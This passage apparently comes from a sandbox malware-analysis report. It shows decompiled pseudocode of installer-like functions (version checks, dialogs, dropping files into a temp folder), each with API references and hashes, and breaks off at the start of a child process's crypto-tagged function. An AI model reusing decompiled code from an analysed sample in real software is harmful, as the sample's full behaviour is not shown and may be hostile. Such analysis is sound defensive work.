				void* _t110;

				_v12 = __edx;
				_t99 = __ecx;
				_t106 = 0;
				_v16 = __ecx;
				_t87 = 0;
				_t103 = 0;
				_v20 = 0;
				if( *((intOrPtr*)(__ecx + 0x7c)) <= 0) {
					L19:
					_t106 = 1;
				} else {
					_t62 = 0;
					_v8 = 0;
					while(1) {
						_v24 =  *((intOrPtr*)(_t99 + 0x80));
						if(E00A32773(_v12,  *((intOrPtr*)(_t62 + _t99 +  *((intOrPtr*)(_t99 + 0x80)) + 0xbc)) + _t99 + 0x84) == 0) {
							goto L20;
						}
						_t68 = GetFileVersionInfoSizeA(_v12,  &_v32);
						_v28 = _t68;
						if(_t68 == 0) {
							_t99 = _v16;
							_t70 = _v8 + _t99;
							_t93 = _v24;
							_t87 = _v20;
							if( *((intOrPtr*)(_t70 + _t93 + 0x84)) == _t106 &&  *((intOrPtr*)(_t70 + _t93 + 0x88)) == _t106) {
								goto L18;
							}
						} else {
							_t103 = GlobalAlloc(0x42, _t68);
							if(_t103 != 0) {
								_t73 = GlobalLock(_t103);
								_v36 = _t73;
								if(_t73 != 0) {
									if(GetFileVersionInfoA(_v12, _v32, _v28, _t73) == 0 || VerQueryValueA(_v36, "\\",  &_v44,  &_v40) == 0 || _v40 == 0) {
										L15:
										GlobalUnlock(_t103);
										_t99 = _v16;
										L18:
										_t87 = _t87 + 1;
										_t62 = _v8 + 0x3c;
										_v20 = _t87;
										_v8 = _v8 + 0x3c;
										if(_t87 <  *((intOrPtr*)(_t99 + 0x7c))) {
											continue;
										} else {
											goto L19;
										}
									} else {
										_t79 = _v44;
										_t88 = _t106;
										_v28 =  *((intOrPtr*)(_t79 + 0xc));
										_t101 = _v28;
										_v48 =  *((intOrPtr*)(_t79 + 8));
										_t83 = _v8 + _v16 + _v24 + 0x94;
										_t97 = _v48;
										_v36 = _t83;
										_t109 = _t83;
										do {
											 *((intOrPtr*)(_t110 + _t88 - 0x34)) = E00A32A89(_t97, _t101,  *((intOrPtr*)(_t109 - 0x10)),  *((intOrPtr*)(_t109 - 0xc)));
											 *((intOrPtr*)(_t110 + _t88 - 0x3c)) = E00A32A89(_t97, _t101,  *((intOrPtr*)(_t109 - 4)),  *_t109);
											_t109 = _t109 + 0x18;
											_t88 = _t88 + 4;
										} while (_t88 < 8);
										_t87 = _v20;
										_t106 = 0;
										if(_v56 < 0 || _v64 > 0) {
											if(_v52 < _t106 || _v60 > _t106) {
												GlobalUnlock(_t103);
											} else {
												goto L15;
											}
										} else {
											goto L15;
										}
									}
								}
							}
						}
						goto L20;
					}
				}
				L20:
				 *_a8 = _t87;
				if(_t103 != 0) {
					GlobalFree(_t103);
				}
				return _t106;
			}

0x00a328f1
0x00a328f4
0x00a328f7
0x00a328f9
0x00a328fc
0x00a328ff
0x00a32901
0x00a32907
0x00a32a62
0x00a32a64
0x00a3290d
0x00a3290d
0x00a3290f
0x00a32912
0x00a32920
0x00a32937
0x00000000
0x00000000
0x00a32944
0x00a3294a
0x00a3294f
0x00a32a2f
0x00a32a32
0x00a32a34
0x00a32a37
0x00a32a41
0x00000000
0x00000000
0x00a32955
0x00a3295e
0x00a32962
0x00a32969
0x00a3296f
0x00a32974
0x00a3298c
0x00a32a20
0x00a32a21
0x00a32a27
0x00a32a4c
0x00a32a4f
0x00a32a50
0x00a32a53
0x00a32a56
0x00a32a5c
0x00000000
0x00000000
0x00000000
0x00000000
0x00a329b2
0x00a329b2
0x00a329b5
0x00a329bd
0x00a329c3
0x00a329cc
0x00a329d5
0x00a329d7
0x00a329da
0x00a329dd
0x00a329df
0x00a329ec
0x00a329f8
0x00a329fc
0x00a329ff
0x00a32a02
0x00a32a07
0x00a32a0a
0x00a32a0f
0x00a32a19
0x00a32a81
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00a32a0f
0x00a3298c
0x00a32974
0x00a32962
0x00000000
0x00a3294f
0x00a32912
0x00a32a65
0x00a32a68
0x00a32a6c
0x00a32a6f
0x00a32a6f
0x00a32a7d

APIs

GlobalFree.KERNEL32 ref: 00A32A6F

Part of subcall function 00A32773: CharUpperA.USER32(B6B6972C,00000000,00000000,00000000), ref: 00A327A8
Part of subcall function 00A32773: CharNextA.USER32(0000054D), ref: 00A327B5
Part of subcall function 00A32773: CharNextA.USER32(00000000), ref: 00A327BC
Part of subcall function 00A32773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A32829
Part of subcall function 00A32773: RegQueryValueExA.ADVAPI32(?,00A31140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A32852
Part of subcall function 00A32773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A32870
Part of subcall function 00A32773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A328A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,00A33938,?,?,?,?,-00000005), ref: 00A32958
GlobalLock.KERNEL32 ref: 00A32969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,00A33938,?,?,?,?,-00000005,?), ref: 00A32A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?), ref: 00A32A81

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID:
API String ID: 3949799724-0
Opcode ID: 06fe922ef1f525ef540a08a3059daac772533c012e7d063f5f3f5cc6e3f36a4c
Instruction ID: dfb38c5f279c101ee447db892a36adbac6d5faedf54521f0a23d5d771ecc4651
Opcode Fuzzy Hash: 06fe922ef1f525ef540a08a3059daac772533c012e7d063f5f3f5cc6e3f36a4c
Instruction Fuzzy Hash: F5512831E00219EBCB25CF98DD84AAEBBB9FF48740F14402AF945E3221DB319941DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A34169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E00A34169(void* __eflags) {
				int _t18;
				void* _t21;

				_t20 = E00A3468F("FINISHMSG", 0, 0);
				_t21 = LocalAlloc(0x40, 4 + _t3 * 4);
				if(_t21 != 0) {
					if(E00A3468F("FINISHMSG", _t21, _t20) != 0) {
						if(lstrcmpA(_t21, "<None>") == 0) {
							L7:
							return LocalFree(_t21);
						}
						_push(0);
						_push(0x40);
						_push(0);
						_push(_t21);
						_t18 = 0x3e9;
						L6:
						E00A344B9(0, _t18);
						goto L7;
					}
					_push(0);
					_push(0x10);
					_push(0);
					_push(0);
					_t18 = 0x4b1;
					goto L6;
				}
				return E00A344B9(0, 0x4b5, 0, 0, 0x10, 0);
			}

0x00a3417d
0x00a3418f
0x00a34193
0x00a341b7
0x00a341d3
0x00a341e6
0x00000000
0x00a341e7
0x00a341d5
0x00a341d6
0x00a341d8
0x00a341d9
0x00a341da
0x00a341df
0x00a341e1
0x00000000
0x00a341e1
0x00a341b9
0x00a341ba
0x00a341bc
0x00a341bd
0x00a341be
0x00000000
0x00a341be
0x00000000

APIs

Part of subcall function 00A3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346A0
Part of subcall function 00A3468F: SizeofResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346A9
Part of subcall function 00A3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A346C3
Part of subcall function 00A3468F: LoadResource.KERNEL32(00000000,00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346CC
Part of subcall function 00A3468F: LockResource.KERNEL32(00000000,?,00A32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346D3
Part of subcall function 00A3468F: memcpy_s.MSVCRT ref: 00A346E5
Part of subcall function 00A3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A346EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,00A330B4), ref: 00A34189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,00A330B4), ref: 00A341E7

Part of subcall function 00A344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A34518
Part of subcall function 00A344B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00A34554

Strings

FINISHMSG, xrefs: 00A34173, 00A341AB
<None>, xrefs: 00A341C5

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: b9499f3465dbe69cbd961561d3e3c2868cc7926eff187161f1a536ea23c88be4
Instruction ID: 05400f152ba3877477f2a00e0361547e1da3d9f419037614149cf76f2b5be482
Opcode Fuzzy Hash: b9499f3465dbe69cbd961561d3e3c2868cc7926eff187161f1a536ea23c88be4
Instruction Fuzzy Hash: 1501FFB1300B243BF3282BA54C86F7B618EDBE9795F004235B746E21809AA8EC4241B5

Uniqueness

Uniqueness Score: -1.00%

Function 00A319E0 Relevance: 7.6, APIs: 5, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00A319E0(void* __ebx, void* __edi, struct HWND__* _a4, intOrPtr _a8, int _a12, int _a16) {
				signed int _v8;
				char _v520;
				void* __esi;
				signed int _t11;
				void* _t14;
				void* _t23;
				void* _t27;
				void* _t33;
				struct HWND__* _t34;
				signed int _t35;

				_t33 = __edi;
				_t27 = __ebx;
				_t11 =  *0xa38004; // 0xb6b6972c
				_v8 = _t11 ^ _t35;
				_t34 = _a4;
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t32 = GetDesktopWindow();
					E00A343D0(_t34, _t15);
					_v520 = 0;
					LoadStringA( *0xa39a3c, _a16,  &_v520, 0x200);
					SetDlgItemTextA(_t34, 0x83f,  &_v520);
					MessageBeep(0xffffffff);
					goto L6;
				} else {
					if(_t14 != 1) {
						L4:
						_t23 = 0;
					} else {
						_t32 = _a12;
						if(_t32 - 0x83d > 1) {
							goto L4;
						} else {
							EndDialog(_t34, _t32);
							L6:
							_t23 = 1;
						}
					}
				}
				return E00A36CE0(_t23, _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x00a319e0
0x00a319e0
0x00a319eb
0x00a319f2
0x00a319f9
0x00a319fc
0x00a31a01
0x00a31a2a
0x00a31a2e
0x00a31a3e
0x00a31a4f
0x00a31a62
0x00a31a6a
0x00000000
0x00a31a03
0x00a31a06
0x00a31a20
0x00a31a20
0x00a31a08
0x00a31a08
0x00a31a14
0x00000000
0x00a31a16
0x00a31a18
0x00a31a70
0x00a31a72
0x00a31a72
0x00a31a14
0x00a31a06
0x00a31a81

APIs

EndDialog.USER32(?,?), ref: 00A31A18
GetDesktopWindow.USER32 ref: 00A31A24
LoadStringA.USER32(?,?,00000200), ref: 00A31A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 00A31A62
MessageBeep.USER32(000000FF), ref: 00A31A6A

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 1a1704f1bcb832c251d032adec412fafef0a5ac74eacb1794b675ecb38d713c2
Instruction ID: 835414770f0ab625744bd58557641e6453d61b3e3a34b1b9d161996856858a7f
Opcode Fuzzy Hash: 1a1704f1bcb832c251d032adec412fafef0a5ac74eacb1794b675ecb38d713c2
Instruction Fuzzy Hash: 9A11D631A01219AFDB10EFA4EE08AAE77B8FF59341F108254F952D7190DF349E02DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00A363C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00A363C0(void* __ecx, void* __eflags, long _a4, intOrPtr _a12, void* _a16) {
				signed int _v8;
				char _v268;
				long _v272;
				void* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t15;
				long _t28;
				struct _OVERLAPPED* _t37;
				void* _t39;
				signed int _t40;

				_t15 =  *0xa38004; // 0xb6b6972c
				_v8 = _t15 ^ _t40;
				_v272 = _v272 & 0x00000000;
				_push(__ecx);
				_v276 = _a16;
				_t37 = 1;
				E00A31781( &_v268, 0x104, __ecx, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP000.TMP\");
				E00A3658A( &_v268, 0x104, _a12);
				_t28 = 0;
				_t39 = CreateFileA( &_v268, 0x40000000, 0, 0, 2, 0x80, 0);
				if(_t39 != 0xffffffff) {
					_t28 = _a4;
					if(WriteFile(_t39, _v276, _t28,  &_v272, 0) == 0 || _t28 != _v272) {
						 *0xa39124 = 0x80070052;
						_t37 = 0;
					}
					CloseHandle(_t39);
				} else {
					 *0xa39124 = 0x80070052;
					_t37 = 0;
				}
				return E00A36CE0(_t37, _t28, _v8 ^ _t40, 0x104, _t37, _t39);
			}

0x00a363cb
0x00a363d2
0x00a363d8
0x00a363ea
0x00a363f3
0x00a36401
0x00a36402
0x00a36410
0x00a36415
0x00a36433
0x00a36438
0x00a36449
0x00a36463
0x00a3646d
0x00a36477
0x00a36477
0x00a3647a
0x00a3643a
0x00a3643a
0x00a36444
0x00a36444
0x00a36492

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 00A3642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 00A3645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\), ref: 00A3647A

Strings

C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A363EB

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-1955631000
Opcode ID: 25903919ad7d9096d490c1e2779550cf209b55289f319a0c7c75007e7a4a69a9
Instruction ID: 8c970594722c4f2845c2fc72c8e9b241dd9a4cefa3e2bb47b19c4cc86f5ee467
Opcode Fuzzy Hash: 25903919ad7d9096d490c1e2779550cf209b55289f319a0c7c75007e7a4a69a9
Instruction Fuzzy Hash: 1721D271A00218ABDB10DF65DC85FEB737CEB55314F0042A9F595A3280DBB05D858FA4

Uniqueness

Uniqueness Score: -1.00%

Function 00A33680 Relevance: 6.1, APIs: 4, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A33680(void* __ecx) {
				void* _v8;
				struct tagMSG _v36;
				int _t8;
				struct HWND__* _t16;

				_v8 = __ecx;
				_t16 = 0;
				while(1) {
					_t8 = MsgWaitForMultipleObjects(1,  &_v8, 0, 0xffffffff, 0x4ff);
					if(_t8 == 0) {
						break;
					}
					if(PeekMessageA( &_v36, 0, 0, 0, 1) == 0) {
						continue;
					} else {
						do {
							if(_v36.message != 0x12) {
								DispatchMessageA( &_v36);
							} else {
								_t16 = 1;
							}
							_t8 = PeekMessageA( &_v36, 0, 0, 0, 1);
						} while (_t8 != 0);
						if(_t16 == 0) {
							continue;
						}
					}
					break;
				}
				return _t8;
			}

0x00a3368c
0x00a3368f
0x00a33691
0x00a3369f
0x00a336a7
0x00000000
0x00000000
0x00a336ba
0x00000000
0x00a336bc
0x00a336bc
0x00a336c0
0x00a336cb
0x00a336c2
0x00a336c4
0x00a336c4
0x00a336da
0x00a336e0
0x00a336e6
0x00000000
0x00000000
0x00a336e6
0x00000000
0x00a336ba
0x00a336ed

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00A3369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00A336B2
DispatchMessageA.USER32(?), ref: 00A336CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00A336DA

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 675689541d853be78f81a5fc2b613b3d459f80bb08f51d12967aeb22cca5be67
Instruction ID: 88de10d7dccbf8266f391e33e713d971de3812968ea6c7b42a0f7a4ccaddbde3
Opcode Fuzzy Hash: 675689541d853be78f81a5fc2b613b3d459f80bb08f51d12967aeb22cca5be67
Instruction Fuzzy Hash: 2A01A7739042247BDF308BE65C4DEEB767CEBC5B10F000219F905E2180D760C641C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 00A36517 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00A36517(void* __ecx, CHAR* __edx, struct HWND__* _a4, _Unknown_base(*)()* _a8, intOrPtr _a12, int _a16) {
				struct HRSRC__* _t6;
				void* _t21;
				struct HINSTANCE__* _t23;
				int _t24;

				_t23 =  *0xa39a3c; // 0xa30000
				_t6 = FindResourceA(_t23, __edx, 5);
				if(_t6 == 0) {
					L6:
					E00A344B9(0, 0x4fb, 0, 0, 0x10, 0);
					_t24 = _a16;
				} else {
					_t21 = LoadResource(_t23, _t6);
					if(_t21 == 0) {
						goto L6;
					} else {
						if(_a12 != 0) {
							_push(_a12);
						} else {
							_push(0);
						}
						_t24 = DialogBoxIndirectParamA(_t23, _t21, _a4, _a8);
						FreeResource(_t21);
						if(_t24 == 0xffffffff) {
							goto L6;
						}
					}
				}
				return _t24;
			}

0x00a3651f
0x00a3652a
0x00a36534
0x00a3656b
0x00a36577
0x00a3657c
0x00a36536
0x00a3653e
0x00a36542
0x00000000
0x00a36544
0x00a36547
0x00a3654c
0x00a36549
0x00a36549
0x00a36549
0x00a3655e
0x00a36560
0x00a36569
0x00000000
0x00000000
0x00a36569
0x00a36542
0x00a36587

APIs

FindResourceA.KERNEL32(00A30000,000007D6,00000005), ref: 00A3652A
LoadResource.KERNEL32(00A30000,00000000,?,?,00A32EE8,00000000,00A319E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00A36538
DialogBoxIndirectParamA.USER32(00A30000,00000000,00000547,00A319E0,00000000), ref: 00A36557
FreeResource.KERNEL32(00000000,?,?,00A32EE8,00000000,00A319E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00A36560

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 7aaa74b917b3964d19332d5813aec858c011bbdf42499e2d432dae3064f56507
Instruction ID: 3d19b0ae68ba6a92df95ca613211058d5ee0c4cd5636b30814ce67220ed1dcd5
Opcode Fuzzy Hash: 7aaa74b917b3964d19332d5813aec858c011bbdf42499e2d432dae3064f56507
Instruction Fuzzy Hash: 53014972100615BBCB109FA9AC48DBB7A7CEB99360F004235FE50D3150D771CC11CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A365E8 Relevance: 6.0, APIs: 4, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00A365E8(char* __ecx) {
				char _t3;
				char _t10;
				char* _t12;
				char* _t14;
				char* _t15;
				CHAR* _t16;

				_t12 = __ecx;
				_t15 = __ecx;
				_t14 =  &(__ecx[1]);
				_t10 = 0;
				do {
					_t3 =  *_t12;
					_t12 =  &(_t12[1]);
				} while (_t3 != 0);
				_push(CharPrevA(__ecx, _t12 - _t14 + __ecx));
				while(1) {
					_t16 = CharPrevA(_t15, ??);
					if(_t16 <= _t15) {
						break;
					}
					if( *_t16 == 0x5c) {
						L7:
						if(_t16 == _t15 ||  *(CharPrevA(_t15, _t16)) == 0x3a) {
							_t16 = CharNextA(_t16);
						}
						 *_t16 = _t10;
						_t10 = 1;
					} else {
						_push(_t16);
						continue;
					}
					L11:
					return _t10;
				}
				if( *_t16 == 0x5c) {
					goto L7;
				}
				goto L11;
			}

0x00a365e8
0x00a365ed
0x00a365ef
0x00a365f2
0x00a365f4
0x00a365f4
0x00a365f6
0x00a365f7
0x00a36608
0x00a36611
0x00a36618
0x00a3661c
0x00000000
0x00000000
0x00a3660e
0x00a36623
0x00a36625
0x00a3663b
0x00a3663b
0x00a3663d
0x00a36641
0x00a36610
0x00a36610
0x00000000
0x00a36610
0x00a36644
0x00a36647
0x00a36647
0x00a36621
0x00000000
0x00000000
0x00000000

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,00A32B33), ref: 00A36602
CharPrevA.USER32(?,00000000), ref: 00A36612
CharPrevA.USER32(?,00000000), ref: 00A36629
CharNextA.USER32(00000000), ref: 00A36635

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: c37961ba780bf64311d343bbfae03fe61d31de200f78958bb25f72e4f31739e9
Instruction ID: 3c9e091bfe455270b85b178f107b94664f49c5e0202f06582b189ad01a6fb337
Opcode Fuzzy Hash: c37961ba780bf64311d343bbfae03fe61d31de200f78958bb25f72e4f31739e9
Instruction Fuzzy Hash: 12F028320041A07EE7365B689C88CBBBF9CCFAB395F2942AFF4D282011D7150D078671

Uniqueness

Uniqueness Score: -1.00%

Function 00A369B0 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A369B0() {
				intOrPtr* _t4;
				intOrPtr* _t5;
				void* _t6;
				intOrPtr _t11;
				intOrPtr _t12;

				 *0xa381f8 = E00A36C70();
				__set_app_type(E00A36FBE(2));
				 *0xa388a4 =  *0xa388a4 | 0xffffffff;
				 *0xa388a8 =  *0xa388a8 | 0xffffffff;
				_t4 = __p__fmode();
				_t11 =  *0xa38528; // 0x0
				 *_t4 = _t11;
				_t5 = __p__commode();
				_t12 =  *0xa3851c; // 0x0
				 *_t5 = _t12;
				_t6 = E00A37000();
				if( *0xa38000 == 0) {
					__setusermatherr(E00A37000);
				}
				E00A371EF(_t6);
				return 0;
			}

0x00a369b7
0x00a369c2
0x00a369c8
0x00a369cf
0x00a369d8
0x00a369de
0x00a369e4
0x00a369e6
0x00a369ec
0x00a369f2
0x00a369f4
0x00a36a00
0x00a36a07
0x00a36a0d
0x00a36a0e
0x00a36a15

APIs

Part of subcall function 00A36FBE: GetModuleHandleW.KERNEL32(00000000), ref: 00A36FC5

__set_app_type.MSVCRT ref: 00A369C2
__p__fmode.MSVCRT ref: 00A369D8
__p__commode.MSVCRT ref: 00A369E6
__setusermatherr.MSVCRT ref: 00A36A07

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: dc8fe1ac99cc61bdf958b6e255f1aa50804a9ecd09f79ab0132d3874a1d4f77b
Instruction ID: 80bf0f5cbbf60fc0c687180d6e135b499a274feec342aef14426ffaac320e824
Opcode Fuzzy Hash: dc8fe1ac99cc61bdf958b6e255f1aa50804a9ecd09f79ab0132d3874a1d4f77b
Instruction Fuzzy Hash: C2F015B0508301DFC768EBF0EE0A6597BA1FB25331F104A09F4A2862F1CF7E8542CA11

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: brJg.exePID: 2296, Parent PID: 1880COMMON

Execution Graph

Execution Coverage:	26.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	969
Total number of Limit Nodes:	43

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00F83BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00F83BA2() {
				signed int _v8;
				signed int _v12;
				char _v276;
				char _v280;
				short _v300;
				intOrPtr _v304;
				void _v348;
				char _v352;
				intOrPtr _v356;
				signed int _v360;
				short _v364;
				char* _v368;
				intOrPtr _v372;
				void* _v376;
				intOrPtr _v380;
				char _v384;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				void* _v408;
				void* _v424;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t69;
				signed int _t76;
				void* _t77;
				signed int _t79;
				short _t96;
				signed int _t97;
				intOrPtr _t98;
				signed int _t101;
				signed int _t104;
				signed int _t108;
				int _t112;
				void* _t115;
				signed char _t118;
				void* _t125;
				signed int _t127;
				void* _t128;
				struct HINSTANCE__* _t129;
				void* _t130;
				short _t137;
				char* _t140;
				signed char _t144;
				signed char _t145;
				signed int _t149;
				void* _t150;
				void* _t151;
				signed int _t153;
				void* _t155;
				void* _t156;
				signed int _t157;
				signed int _t162;
				signed int _t164;
				void* _t165;

				_t164 = (_t162 & 0xfffffff8) - 0x194;
				_t69 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t69 ^ _t164;
